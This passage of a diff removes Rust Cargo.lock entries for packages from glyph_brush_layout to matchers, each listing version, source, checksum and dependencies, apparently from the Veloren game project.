-checksum = "6010675390f6889e09a21e2c8b575b3ee25667ea8237a8d59423f73cb8c28610"
-dependencies = [
- "ab_glyph",
- "crossbeam-channel",
- "crossbeam-deque 0.8.5",
- "linked-hash-map",
- "rayon",
- "rustc-hash",
-]
-
-[[package]]
-name = "glyph_brush_layout"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc32c2334f00ca5ac3695c5009ae35da21da8c62d255b5b96d56e2597a637a38"
-dependencies = [
- "ab_glyph",
- "approx 0.5.1",
- "xi-unicode",
-]
-
-[[package]]
-name = "gpu-alloc"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbcd2dba93594b227a1f57ee09b8b9da8892c34d55aa332e034a228d0fe6a171"
-dependencies = [
- "bitflags 2.5.0",
- "gpu-alloc-types",
-]
-
-[[package]]
-name = "gpu-alloc-types"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "98ff03b468aa837d70984d55f5d3f846f6ec31fe34bbb97c4f85219caeee1ca4"
-dependencies = [
- "bitflags 2.5.0",
-]
-
-[[package]]
-name = "gpu-allocator"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "40fe17c8a05d60c38c0a4e5a3c802f2f1ceb66b76c67d96ffb34bef0475a7fad"
-dependencies = [
- "backtrace",
- "log",
- "presser",
- "thiserror",
- "winapi",
- "windows 0.51.1",
-]
-
-[[package]]
-name = "gpu-descriptor"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc11df1ace8e7e564511f53af41f3e42ddc95b56fd07b3f4445d2a6048bc682c"
-dependencies = [
- "bitflags 2.5.0",
- "gpu-descriptor-types",
- "hashbrown 0.14.3",
-]
-
-[[package]]
-name = "gpu-descriptor-types"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6bf0b36e6f090b7e1d8a4b49c0cb81c1f8376f72198c65dd3ad9ff3556b8b78c"
-dependencies = [
- "bitflags 2.5.0",
-]
-
-[[package]]
-name = "guillotiere"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b62d5865c036cb1393e23c50693df631d3f5d7bcca4c04fe4cc0fd592e74a782"
-dependencies = [
- "euclid",
- "svg_fmt",
-]
-
-[[package]]
-name = "h2"
-version = "0.3.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fbd2820c5e49886948654ab546d0688ff24530286bdcf8fca3cefb16d4618eb"
-dependencies = [
- "bytes",
- "fnv",
- "futures-core",
- "futures-sink",
- "futures-util",
- "http",
- "indexmap",
- "slab",
- "tokio",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "half"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5eceaaeec696539ddaf7b333340f1af35a5aa87ae3e4f3ead0532f72affab2e"
-dependencies = [
- "cfg-if 1.0.0",
- "crunchy",
-]
-
-[[package]]
-name = "hash32"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0c35f58762feb77d74ebe43bdbc3210f09be9fe6742234d573bacc26ed92b67"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7afe4a420e3fe79967a00898cc1f4db7c8a49a9333a29f8a4bd76a253d5cd04"
-dependencies = [
- "ahash 0.4.8",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e"
-dependencies = [
- "ahash 0.8.11",
- "rayon",
- "serde",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604"
-dependencies = [
- "ahash 0.8.11",
- "allocator-api2",
-]
-
-[[package]]
-name = "hashlink"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7"
-dependencies = [
- "hashbrown 0.14.3",
-]
-
-[[package]]
-name = "hassle-rs"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1397650ee315e8891a0df210707f0fc61771b0cc518c3023896064c5407cb3b0"
-dependencies = [
- "bitflags 1.3.2",
- "com-rs",
- "libc",
- "libloading 0.7.4",
- "thiserror",
- "widestring",
- "winapi",
-]
-
-[[package]]
-name = "heapless"
-version = "0.7.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cdc6457c0eb62c71aac4bc17216026d8410337c4126773b9c5daba343f17964f"
-dependencies = [
- "atomic-polyfill",
- "hash32",
- "rustc_version 0.4.0",
- "spin 0.9.8",
- "stable_deref_trait",
-]
-
-[[package]]
-name = "heck"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
-
-[[package]]
-name = "heck"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
-
-[[package]]
-name = "hex"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
-
-[[package]]
-name = "hexf-parse"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df"
-
-[[package]]
-name = "hibitset"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3ede5cfa60c958e60330d65163adbc4211e15a2653ad80eb0cce878de120121"
-dependencies = [
- "rayon",
-]
-
-[[package]]
-name = "hickory-proto"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "091a6fbccf4860009355e3efc52ff4acf37a63489aad7435372d44ceeb6fbbcf"
-dependencies = [
- "async-trait",
- "cfg-if 1.0.0",
- "data-encoding",
- "enum-as-inner",
- "futures-channel",
- "futures-io",
- "futures-util",
- "idna 0.4.0",
- "ipnet",
- "once_cell",
- "rand 0.8.5",
- "thiserror",
- "tinyvec",
- "tokio",
- "tracing",
- "url",
-]
-
-[[package]]
-name = "hickory-resolver"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35b8f021164e6a984c9030023544c57789c51760065cd510572fedcfb04164e8"
-dependencies = [
- "cfg-if 1.0.0",
- "futures-util",
- "hickory-proto",
- "ipconfig",
- "lru-cache",
- "once_cell",
- "parking_lot 0.12.1",
- "rand 0.8.5",
- "resolv-conf",
- "smallvec",
- "thiserror",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "home"
-version = "0.5.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "hostname"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c731c3e10504cc8ed35cfe2f1db4c9274c3d35fa486e3b31df46f068ef3e867"
-dependencies = [
- "libc",
- "match_cfg",
- "winapi",
-]
-
-[[package]]
-name = "http"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1"
-dependencies = [
- "bytes",
- "fnv",
- "itoa",
-]
-
-[[package]]
-name = "http-body"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2"
-dependencies = [
- "bytes",
- "http",
- "pin-project-lite",
-]
-
-[[package]]
-name = "httparse"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904"
-
-[[package]]
-name = "httpdate"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
-
-[[package]]
-name = "humantime"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
-
-[[package]]
-name = "hyper"
-version = "0.14.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "httpdate",
- "itoa",
- "pin-project-lite",
- "socket2",
- "tokio",
- "tower-service",
- "tracing",
- "want",
-]
-
-[[package]]
-name = "hyper-rustls"
-version = "0.24.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590"
-dependencies = [
- "futures-util",
- "http",
- "hyper",
- "log",
- "rustls",
- "rustls-native-certs",
- "tokio",
- "tokio-rustls",
-]
-
-[[package]]
-name = "iana-time-zone"
-version = "0.1.60"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141"
-dependencies = [
- "android_system_properties",
- "core-foundation-sys",
- "iana-time-zone-haiku",
- "js-sys",
- "wasm-bindgen",
- "windows-core 0.52.0",
-]
-
-[[package]]
-name = "iana-time-zone-haiku"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "iced_core"
-version = "0.4.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-
-[[package]]
-name = "iced_futures"
-version = "0.3.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-dependencies = [
- "futures",
- "log",
- "wasm-bindgen-futures",
-]
-
-[[package]]
-name = "iced_graphics"
-version = "0.2.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-dependencies = [
- "bytemuck",
- "glam",
- "iced_native",
- "iced_style",
- "raw-window-handle 0.5.2",
- "thiserror",
-]
-
-[[package]]
-name = "iced_native"
-version = "0.4.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-dependencies = [
- "iced_core",
- "iced_futures",
- "num-traits",
- "twox-hash",
- "unicode-segmentation",
-]
-
-[[package]]
-name = "iced_style"
-version = "0.3.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-dependencies = [
- "iced_core",
-]
-
-[[package]]
-name = "iced_winit"
-version = "0.3.0"
-source = "git+https://github.com/Imberflur/iced?tag=veloren-winit-0.28#47243c257c8b8dd6c506b060804cb00b618aa0aa"
-dependencies = [
- "iced_futures",
- "iced_graphics",
- "iced_native",
- "log",
- "thiserror",
- "winapi",
- "window_clipboard",
- "winit",
-]
-
-[[package]]
-name = "id-arena"
-version = "2.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "25a2bc672d1148e28034f176e01fffebb08b35768468cc954630da77a1449005"
-
-[[package]]
-name = "ident_case"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
-
-[[package]]
-name = "idna"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "idna"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "image"
-version = "0.24.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5690139d2f55868e080017335e4b94cb7414274c74f1669c84fb5feba2c9f69d"
-dependencies = [
- "bytemuck",
- "byteorder",
- "color_quant",
- "jpeg-decoder",
- "num-traits",
- "png",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b0b929d511467233429c45a44ac1dcaa21ba0f5ba11e4879e6ed28ddb4f9df4"
-dependencies = [
- "equivalent",
- "hashbrown 0.14.3",
- "rayon",
- "serde",
-]
-
-[[package]]
-name = "indicatif"
-version = "0.17.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "763a5a8f45087d6bcea4222e7b72c291a054edf80e4ef6efd2a4979878c7bea3"
-dependencies = [
- "console",
- "instant",
- "number_prefix",
- "portable-atomic",
- "unicode-width",
-]
-
-[[package]]
-name = "indoc"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8"
-
-[[package]]
-name = "inline_tweak"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6acddbefae08bfba73e27f55513f491f35c365d84bf3002bf85ba9b916c5e5f"
-dependencies = [
- "lazy_static",
- "rustc-hash",
-]
-
-[[package]]
-name = "inotify"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff"
-dependencies = [
- "bitflags 1.3.2",
- "inotify-sys",
- "libc",
-]
-
-[[package]]
-name = "inotify"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdd168d97690d0b8c412d6b6c10360277f4d7ee495c5d0d5d5fe0854923255cc"
-dependencies = [
- "bitflags 1.3.2",
- "inotify-sys",
- "libc",
-]
-
-[[package]]
-name = "inotify-sys"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
- "cfg-if 1.0.0",
- "js-sys",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "intl-memoizer"
-version = "0.5.1"
-source = "git+https://github.com/juliancoffee/fluent-rs.git?branch=patched#929cf9512de121cce9b4cbf1cb860cd3294a1cd9"
-dependencies = [
- "type-map",
- "unic-langid",
-]
-
-[[package]]
-name = "intl_pluralrules"
-version = "7.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "078ea7b7c29a2b4df841a7f6ac8775ff6074020c6776d48491ce2268e068f972"
-dependencies = [
- "unic-langid",
-]
-
-[[package]]
-name = "io-extras"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c301e73fb90e8a29e600a9f402d095765f74310d582916a952f618836a1bd1ed"
-dependencies = [
- "io-lifetimes",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "io-kit-sys"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "617ee6cf8e3f66f3b4ea67a4058564628cde41901316e19f559e14c7c72c5e7b"
-dependencies = [
- "core-foundation-sys",
- "mach2",
-]
-
-[[package]]
-name = "io-lifetimes"
-version = "2.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a611371471e98973dbcab4e0ec66c31a10bc356eeb4d54a0e05eac8158fe38c"
-
-[[package]]
-name = "ipconfig"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f"
-dependencies = [
- "socket2",
- "widestring",
- "windows-sys 0.48.0",
- "winreg 0.50.0",
-]
-
-[[package]]
-name = "ipnet"
-version = "2.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3"
-
-[[package]]
-name = "is-terminal"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b"
-dependencies = [
- "hermit-abi",
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "itertools"
-version = "0.10.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473"
-dependencies = [
- "either",
-]
-
-[[package]]
-name = "itertools"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
-dependencies = [
- "either",
-]
-
-[[package]]
-name = "itoa"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c"
-
-[[package]]
-name = "ittapi"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b996fe614c41395cdaedf3cf408a9534851090959d90d54a535f675550b64b1"
-dependencies = [
- "anyhow",
- "ittapi-sys",
- "log",
-]
-
-[[package]]
-name = "ittapi-sys"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52f5385394064fa2c886205dba02598013ce83d3e92d33dbdc0c52fe0e7bf4fc"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "jni"
-version = "0.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6df18c2e3db7e453d3c6ac5b3e9d5182664d28788126d39b91f2d1e22b017ec"
-dependencies = [
- "cesu8",
- "combine",
- "jni-sys",
- "log",
- "thiserror",
- "walkdir",
-]
-
-[[package]]
-name = "jni"
-version = "0.21.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97"
-dependencies = [
- "cesu8",
- "cfg-if 1.0.0",
- "combine",
- "jni-sys",
- "log",
- "thiserror",
- "walkdir",
- "windows-sys 0.45.0",
-]
-
-[[package]]
-name = "jni-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130"
-
-[[package]]
-name = "jobserver"
-version = "0.1.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "jpeg-decoder"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0"
-
-[[package]]
-name = "js-sys"
-version = "0.3.69"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29c15563dc2726973df627357ce0c9ddddbea194836909d655df6a75d2cf296d"
-dependencies = [
- "wasm-bindgen",
-]
-
-[[package]]
-name = "keyboard-keynames"
-version = "0.1.2"
-source = "git+https://gitlab.com/Imbris/keyboard-keynames.git?tag=veloren-winit-0.28#fca4bbdfa51bf054b155a455935b3792975c989d"
-dependencies = [
- "wayland-client",
- "winapi",
- "winit",
- "xcb",
- "xkbcommon",
-]
-
-[[package]]
-name = "khronos-egl"
-version = "6.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6aae1df220ece3c0ada96b8153459b67eebe9ae9212258bb0134ae60416fdf76"
-dependencies = [
- "libc",
- "libloading 0.8.3",
- "pkg-config",
-]
-
-[[package]]
-name = "khronos_api"
-version = "3.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2db585e1d738fc771bf08a151420d3ed193d9d895a36df7f6f8a9456b911ddc"
-
-[[package]]
-name = "kiddo"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06ced2e69cfc5f22f86ccc9ce4ecff9f19917f3083a4bac0f402bdab034d73f1"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "kqueue"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7447f1ca1b7b563588a205fe93dea8df60fd981423a768bc1c0ded35ed147d0c"
-dependencies = [
- "kqueue-sys",
- "libc",
-]
-
-[[package]]
-name = "kqueue-sys"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b"
-dependencies = [
- "bitflags 1.3.2",
- "libc",
-]
-
-[[package]]
-name = "lazy-bytes-cast"
-version = "5.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10257499f089cd156ad82d0a9cd57d9501fa2c989068992a97eb3c27836f206b"
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "lazycell"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-
-[[package]]
-name = "leb128"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
-
-[[package]]
-name = "levenshtein"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db13adb97ab515a3691f56e4dbab09283d0b86cb45abd991d8634a9d6f501760"
-
-[[package]]
-name = "lewton"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "777b48df9aaab155475a83a7df3070395ea1ac6902f5cd062b8f2b028075c030"
-dependencies = [
- "byteorder",
- "ogg",
- "tinyvec",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.153"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd"
-
-[[package]]
-name = "libloading"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f"
-dependencies = [
- "cfg-if 1.0.0",
- "winapi",
-]
-
-[[package]]
-name = "libloading"
-version = "0.8.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c2a198fb6b0eada2a8df47933734e6d35d350665a33a3593d7164fa52c75c19"
-dependencies = [
- "cfg-if 1.0.0",
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "libm"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058"
-
-[[package]]
-name = "libmimalloc-sys"
-version = "0.1.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3979b5c37ece694f1f5e51e7ecc871fdb0f517ed04ee45f88d15d6d553cb9664"
-dependencies = [
- "cc",
- "libc",
-]
-
-[[package]]
-name = "libredox"
-version = "0.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8"
-dependencies = [
- "bitflags 2.5.0",
- "libc",
- "redox_syscall 0.4.1",
-]
-
-[[package]]
-name = "libredox"
-version = "0.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3af92c55d7d839293953fcd0fda5ecfe93297cfde6ffbdec13b41d99c0ba6607"
-dependencies = [
- "bitflags 2.5.0",
- "libc",
- "redox_syscall 0.4.1",
-]
-
-[[package]]
-name = "libsqlite3-sys"
-version = "0.27.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716"
-dependencies = [
- "cc",
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "libudev-sys"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c8469b4a23b962c1396b9b451dda50ef5b283e8dd309d69033475fa9b334324"
-dependencies = [
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "linked-hash-map"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f"
-
-[[package]]
-name = "linux-raw-sys"
-version = "0.4.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c"
-
-[[package]]
-name = "lock_api"
-version = "0.4.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c"
-
-[[package]]
-name = "loom"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5"
-dependencies = [
- "cfg-if 1.0.0",
- "generator",
- "scoped-tls",
- "tracing",
- "tracing-subscriber",
-]
-
-[[package]]
-name = "lru"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3262e75e648fce39813cb56ac41f3c3e3f65217ebf3844d818d1f9398cfb0dc"
-dependencies = [
- "hashbrown 0.14.3",
-]
-
-[[package]]
-name = "lru-cache"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31e24f1ad8321ca0e8a1e0ac13f23cb668e6f5466c2c57319f6a5cf1cc8e3b1c"
-dependencies = [
- "linked-hash-map",
-]
-
-[[package]]
-name = "lz-fear"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26a280471e5ff9dda51cf34863c338ffde7df78139210f9c819943b29cdb091d"
-dependencies = [
- "bitflags 2.5.0",
- "byteorder",
- "culpa",
- "thiserror",
- "twox-hash",
-]
-
-[[package]]
-name = "mach"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b823e83b2affd8f40a9ee8c29dbc56404c1e34cd2710921f2801e2cf29527afa"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "mach2"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19b955cdeb2a02b9117f121ce63aa52d08ade45de53e48fe6a38b39c10f6f709"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "macro_rules_attribute"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf0c9b980bf4f3a37fd7b1c066941dd1b1d0152ce6ee6e8fe8c49b9f6810d862"
-dependencies = [
- "macro_rules_attribute-proc_macro",
- "paste",
-]
-
-[[package]]
-name = "macro_rules_attribute-proc_macro"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58093314a45e00c77d5c508f76e77c3396afbbc0d01506e7fae47b018bac2b1d"
-
-[[package]]
-name = "malloc_buf"
-version = "0.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "match_cfg"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4"
-
-[[package]]
-name = "matchers"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
